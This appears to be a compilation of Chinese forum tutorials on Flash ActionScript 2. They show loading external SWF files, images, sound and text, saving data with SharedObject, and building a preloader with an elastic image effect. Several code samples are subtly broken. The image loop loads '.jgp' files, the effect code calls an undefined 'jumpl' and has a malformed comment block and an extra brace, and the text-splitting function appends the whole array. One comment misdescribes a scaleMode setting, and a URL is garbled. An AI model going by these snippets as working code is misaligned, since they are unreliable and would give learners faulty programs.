    System.useCodepage=true;//使外部文件的中文字符能够正确显示;
    }
    _root.bt2.onRelease=function(){//松开鼠标后执行
    _root.msg="";//清除动态文本框中的内容;
    }
    _root.up.onPress=function(){//在向上按扭上每按一次鼠标执行下面的代码;
    _root.msg.scroll=_root.msg.scroll-1;//文本向下滚动一行;
    }
    _root.down.onPress=function(){//在向下按扭上每按一次鼠标执行下面的代码;
    _root.msg.scroll=_root.msg.scroll+1;//文本向上滚动一行;
    }
    Ctrl+Enter测试.

    二.调用外部*.swf文件(加载到影片剪辑中):
    外部*.swf文件要和编辑的Flash文件放在同一目录下
    1.新建立一个空的影片剪辑mymc,把它放在场景中,实例名是:mymc.
    2.新建一层,制作两个按扭(一个调用,一个清除)拖放到此层中
    3.调用按扭上的AS:
    on(release){//鼠标离开按扭后执行下面的代码;
    loadMovie("flash8.swf","mymc");//加载外部的"flash8.swf"文件到"mymc"空影片剪辑中;
    mymc._x=70;//加载影片的X轴坐标;
    mymc._y=20;//加载影片的Y轴坐标;
    mymc._xscale=70;//加载影片的宽度;
    mymc._yscale=70;//加载影片的高度;
    }
    清除按扭上的AS:
    on(release){//鼠标离开按扭后执行下面的代码
    unloadMovie(mymc);//删除用loadMovie加载的*.swf文件;
    }
    Ctrl+Enter测试

    三.调用外部*.swf文件(加载到时间轴上):
    外部*.swf文件要和编辑的Flash文件放在同一目录下
    1.制作两个按扭(一个调用,一个清除)拖放到场景中
    2.调用按扭上的AS:
    on(release){//鼠标离开按扭后执行下面的代码
    loadMovie("flash8.swf",1);//加载外部的"flash8.swf"文件到场景中,层深为1;
    }
    清除按扭上的AS:
    on(release){//鼠标离开按扭后执行下面的代码
    unloadMovie(1);//删除层深为1的用loadMovie所加载的"flash8.swf"文件
    }
    Ctrl+Enter测试。
    当然二和三的代码都可以写在帧上。

    四.调用外部图片(加载到影片剪辑中)
    外部图片必须和正在编辑的Flash文件放在同一目录下
    1.制作两个按扭(一个调用,一个清除)拖放到场景中
    2.制作一个空的影片剪辑,拖到场景中,实例名是:mymc;
    3.时间轴上第一帧上的AS:
    i=0;//定义一个变量i,并且赋初值为0;
    调用按扭上的AS:
    on(release){//鼠标离开按扭后执行下面的代码;
    i++;
    if(i>9){//因为外面这有9张图,当变量大于9的时候,让变量为1,这样能够使加载的图片是连续的,即,每点一次按扭,就换一张图,等到换到第9张图,再点按扭,则循环到第一张图(j1.jpg到j9.jpg,因为没有j0.jpg,如果i=0,则会提示没有找到j0.jpg);
    i=1;
    }
    loadMovie(("j"+i)+".jgp",mymc);//从j1.jpg开始加载图片到影片剪辑mymc中;
    mymc._x=110;//以下设置加载图片的属性
    mymc._y=35;
    mymc._xscale=130;
    mymc._yscale=130;
    }
    清除按扭上的AS:
    on(release){
    unloadMovie(mymc);//删除掉用loadMovie加载到影片剪辑的图片;
    }
    Ctrl+Enter测试。
    当然AS可以写在帧上。

    五.调用外部声音文件(加载到场景中)
    外部声音文件必须和正在编辑的Flash文件放在同一目录下
    1.制作两个按扭(一个调用,一个清除)拖放到场景中
    2.调用按扭上的AS:
    on(release){//鼠标离开按扭后执行下面的代码;
    mySound=new Sound();//建立一个新的声音对象mySound;
    mySound.loadSound("zaihuni.mp3",true);//加载外部的*.mp3声音文件到mySound对象中,并且按流的方式播放(参数为false时,是以装载完后播放);
    }
    清除按扭上的AS:
    on(release){
    mySound.stop();//当按下清除按扭后,停止声音的播放
    }
    Ctrl+Enter测试。


    --------------------------------------------------------------------------------


    加载外部图片


    如果你的动画中有很多的图片.如果都放到一个SWF文件.可能打开或是下载会很慢.这样就影响了观看效果及速度,那么你可以利用载入外部图片的方法,只要把图片按名称放到你网上的一个目录里(和你的SWF文件同一个目录),那么就可以解决这个问题

    前十祯你做一个载入LOADING.从第十一祯开始

    新建一个图层.起名为AS层

    在AS图层的第十一祯加入一个关键祯,然后打开动作面板,加入以下AS

    i = 0;//初始化变量
    loadMovie ("p040.jpg", "pic");//在播放原始 SWF 文件的同时将p040.jpg 文件
    //加载到 Flash Player 中的叫PIC的这个影片剪辑中。

    上面的语句是实现了加载一张.我们要它加载多张.所以要用到IF语句.在AS层的第六十祯处加入一个关键祯,打开动作面板,加入AS语句:

    i++;//变量i递增
    if (i >= 21) {//当变量i递增到>=21时.这里的21是因为我准备了二十一张要加载的图.如果你加载十张.那就把这里的21改为10就可以了
    i = 0;//则变量为0,即重新加载
    }
    loadMovie (("p04" + i) + ".jpg", "pic");//如果不是.则继续加载.这里的p04+i就等p04i.也就是说i是几.这里就是p04*,比如i为12,则p04+i就等于p0412
    gotoAndPlay (12);//跳转到第十二祯

    所以.在这里给图片起文件名时.就要按照这个原则来起的.准备好的图片要和你的主调用SWF文件入在同一个目录下,或者你也可以加载时用绝对路径,那就要改成"http://www.XXXXX.cn/p04"' target="_blank&qu ... XXXX.cn/p04";+i+".jpg"

    图片的大小最好是事先调整好的.在你做好的PIC这个加载用的MC里.它的位置是放在XY坐标为0的位置,加载进来图是以这个MC左上角为准的,也就是说加载进来图的左上角与加载用的MC的左上角是重合的
    --------------
    loadMovie("图片名",newname);
    以上语法以下用法
    on(release){
    loadMovie("pic.jpg", "mc");
    mc._x=50;
    mc._y=50
    mc._xscale=40;
    mc._yscale=40
    }

    --------------------------------------------------------------------------------

    加载外部文本文件的3种方法

    不管那样方法,文本文件要和主文件在同一目录下,再就是在这儿的文本文件名为 b.txt

    *第一种方法txt=

    1、创建一个文本框,给此文本框一个变量名txt;
    2、文本格式为:动态;
    3、选:多行输入
    4、在第一帧上增加脚本语言。(按F9)
    loadVariablesNum("b.txt",0);//b.txt是文件名,0是场景中的根目录
    然后打开poems.txt文件,在记事本里输入:txt=
    注意:在加载之前对文本文件进行转换,另存为Unicode编码格式。

    *第二种方法 在主文件帧上输入防乱码的AS
    按钮实现引用外部文本文件的效果:
    第一步:主场第一帧AS:
    System.useCodePage = true;//防止乱码

    第二步:在按钮上写AS:
    on (release) {
    _root.loadVariables("b.txt");//b.txt文本名
    }

    **第三种方法 使用构造器,将文本拆分为若干字符串来显示.从根本上防止乱码.
    ,也就是说直接在 txt 里面写东西就行了。代码如下:

    lala = new LoadVars();//构造函数;创建 LoadVars 对象。然后可使用该 LoadVars 对象的方法来发送和加载数据
    lala.onData = function(rw) {//当lala被实例化并显示在时间轴上时将触发
    a_txt.text = replacePunc(rw);//
    };

    function replacePunc(str) {//执行将文本拆分为多个字符串
    var tempArray = str.split("\r\n");//拆分为多个子字符串
    var tempstr = new String();
    for (var i = 0; i<tempArray.length; i++) {
    tempstr += tempArray+newline;
    }
    return tempstr;
    }

    System.useCodepage = true;//通知 Flash Player使用 传统代码页来解释外部文本
    lala.load("b.txt");

    本人觉得第三种办法好

    --------------------------------------------------------------------------------

    利用ShareObject实现Flash数据存储


    记得前些天看到有人问flash怎么在本地存储信息的问题
    想起在http://www.ultrashock.com看到的一篇关于SharedObject的文章
    挑了一部分翻译了一下,也做了一些补注。
    第一次做翻译工作,弄得不好各位多见谅。

    什么是本地ShareObject?

    通过flash 6 player,开发人员已就可以在客户端存储数据了,就像cookies一样。ShareObject有两种格式:本地和远程。这篇文章只讨论

    本地ShareObject.远程ShareObject一般和flash communication server一起使用。一个本地ShareObject只需要flash 6 player,仅此而已

    。很多情况下,ShareObject提供了除cookies外的另一种选择,这是许多开发者没有考虑过的。

    存储简单数据

    在ShareObject中存储简单数据是相当简单的工作,我们先用ShareObject存储一个用户自定义的对象,然后将讨论用ShareObject存储内建

    类的实例的问题。一个用户自定义对象可以这样创建:
    myObj = new Object(); //or myObj = {};

    在ShareObject中存储myObj是很简单的,首先你需要创建一个本地ShareObject的引用:
    myLSO = SharedObject.getLocal("foo");

    getLocal方法的第一个参数是ShareObject的名字,getLocal()方法也有第二个可选参数:一个字符串类型的路径。大多数情况下你用不到这个参数,除非你在多个swf文件中共用同一个ShareObject。现在为了在ShareObject中储存数据,你需要给ShareObject指定“数据特性”(data property)。现在创建一个ShareObject引用,以及你想存储的对象,最后存储这个对象到“数据特性”中。
    例子:
    myLSO = SharedObject.getLocal("foo");myObj = {};myObj.fname = "Jessica";myObj.lname = "Smith";myLSO.data.myObj = myObj

    *
    myLocalSharedObject.data
    描述:
    只读属性,用来存储被存储到“数据特性”中的对象的属性,这些属性可以共享/存储,
    每一个属性可以是各种基础数据类型(数组,数字布尔值等)对象。
    *

    现在myObj已经存储在SharedObject中了,今后你可以通过对SharedObject数据属性的存取来实现对myObj的存取,下面是一个例子,这个例子检测是否数据已经被存储到SharedObject中了,如果没有,它将数据存储进去,如果已经存在,则在输出窗口输出。当你将这些代码放到一个空的电影的第一祯后,你可以运行它一次,然后在运行一次,第二次运行你可以看到你存储的数据被输出。

    *
    一定要先保存动画,否则你的动画只是在windows临时文件夹中运行,不能存储数据。
    ****************
    myLSO = SharedObject.getLocal("foo");if(myLSO.data.myObj == undefined){ trace("Storing Data, run me again"); myObj = {}; myObj.fname = "Jessica"; myObj.lname = "Smith"; myLSO.data.myObj = myObj; }else{ trace("Retrieving Data"); var firstname = myLSO.data.myObj.fname; var lastname = myLSO.data.myObj.lname; trace("First Name: "+firstname); trace("Last Name: "+lastname); }

    *
    运行一次以上后,你可以将程序改为
    myLSO = SharedObject.getLocal("foo"); trace("Retrieving Data"); var firstname = myLSO.data.myObj.fname; var lastname = myLSO.data.myObj.lname; trace("First Name: "+firstname); trace("Last Name: "+lastname);

    你会发现无论你重复运行多少次,甚至关闭flash后重新进入,仍然能够得到firstname和lastname的值。
    另外你应该可以理解getLocal()方法的参数的作用了,它用来表示你所存储的数据的载体名称,是必不可少的。
    例如本例中的数据都存储在名为foo的SharedObject中,只有getLocal("foo"),你才能得到你想要的结果。
    *

    你还可以存储更多内建类型:数组,布尔值,日期,数字,对象,XML,undefined,null

    下面是一个将日期实例存储在SharedObject中的例子:
    myLSO = SharedObject.getLocal("DateStorage"); myDate = new Date(); myLSO.data.myDate = myDate;
    *****译者注*****
    存储简单数据的方法到这基本上就介绍完了,是不是很简单?
    为了方便大家理解,我做了一个简单的例子:
    http://2-sky.net/SharedObject/3.fla
    你可以在文本框中输入任何内容,然后点击储存,
    以后任何时候你打开这个swf,文本框中总是上一次储存的内容。

    我现在想到的对SharedObject最有意思的应用就是游戏存档!
    只要将与游戏相关的数据,如时间,分数,等级,屏幕位置等相关数据存储
    再在必要的时候提取出来,基本上就算是实现存档取档功能。
    希望有兴趣的朋友试试。
    另外,在使用SharedObject之前,别忘了把你的Flash Player的文件存储设置为无限制,
    如图:

    否则,超过了Player文件存储的上限(默认好像10k),ShareObject将不起作用

    存储复杂数据一般指得是存储自定义类的实例。这一部分因为时间关系(要复习考试)
    没有翻译,等有时间再来跟大家讨论。

    --------------------------------------------------------------------------------

    加载外部图片及对加载图片的控制

    许多朋友都在问如何load外部的文件,如load jpg 、load swf 、load sound等等
    load进来后又该如何控制?如何进行加载的判断?今天这个小教程讲的是加载外部

    图片(jpg)的问题,在这个小教程里,你可以学会一些小知识,举一反三,相信你会

    有所收获。

    先看看本例的效果
    http://tuliping.topcities.com/loadimage.html

    来看看代码及其简析:

    Stage.showMenu=false;//屏蔽右键,当然这样无法完全屏蔽
    Stage.scaleMode = "noBorder";//播放器无菜单
    Stage.scaleMode = "noScale";//禁止缩放
    //上面的代码只是个人的爱好。
    this.createEmptyMovieClip("preloader", 10000);
    this.createEmptyMovieClip("mc", 10001);
    //动态创建一 mc,用来装载图片
    mc.loadMovie("test.jpg");
    //load 一名为test的图片(jpg格式)
    mc._visible = false;
    //先令mc不可见
    /*------------------------------------------------
    preloader.onEnterFrame = function() {
    var l = mc.getBytesLoaded();
    var t = mc.getBytesTotal();
    var getPercent = l/t;
    loadText = Math.round(getPercent*100)+"%completed";
    //一动态文本框的var: loadTest
    loadBar._width = getPercent*100;
    //进度条的长度,主场景中其 instance name: loadBar
    if (l>0 && l>=t) {
    mc._visible = 1;
    delete this.onEnterFrame;
    //加载完毕后令mc可见,并stop loop (delete this.onEnterFrame;)
    }
    */ ----------------------这段代码就是用来判断加载的情况
    //-------------------------------------------------------------------------------
    MovieClip.prototype.jump = function(scale, frequency, quotiety) {
    //三个参数,scale--图片的比例 frequency---弹性的频率 quotiety---弹性系数
    this.tempo += (scale - this._xscale) * frequency;
    this.tempo *= quotiety;
    this._xscale = this._yscale += this.tempo;
    //令图片位于场景的中间(550X400)
    this._x = 275-(this._width/2);
    this._y = 200-(this._height/2);

    };
    //--------图片弹性效果的设置,这种效果你可以用在其它方面,比如按钮

    //-----------判断鼠标事件,当鼠标与图片碰撞时调用自定义的函数并赋值
    mc.onEnterFrame = function() {
    if (this.hitTest(_root._xmouse, _root._ymouse, true)) {
    this.jump(70, .9, .6);
    } else {
    this.jumpl(30, .6, .5);
    }
    }
    };

    以上代码都在主场景第一帧。

    手动建一MC,画一条线用做进度条,把MC从库中拉到主场景,instance name: loadBar。在主场景中建一动态文本框,用来显示加载的百分比,var: loadTest

    后记:加载完毕后就可以对其进行用关的操作,如果没有加载完就进行操

    作那是不行的,所以要注意进行加载的判断,这在load外部文件时显得尤其重要。


    --------------------------------------------------------------------------------


    二.语法相关:

    1.首当其冲的还是点语法,他是在编程时用来指明与某个对象的相关的属性和方法,还可用于标识对象的路径。 比如,要获取主场景中的Myball这个影片剪辑的x坐标值语法为_root.Myball._x。这其中还有一个必须引起注意,初学者常常以为这里的Myball是指给库里的对象命名,如图二:

    其实这是不对的,在程序中出现的名字,我们习惯上称为实例名,其正确的命名方法是在场景中选定需要命名的对象,然后在其属性面板对其命名,如图三:

    当然还有在加载外部的图片,SWF或者直接调用库里的声音,MC,那还可以通过程序本身直接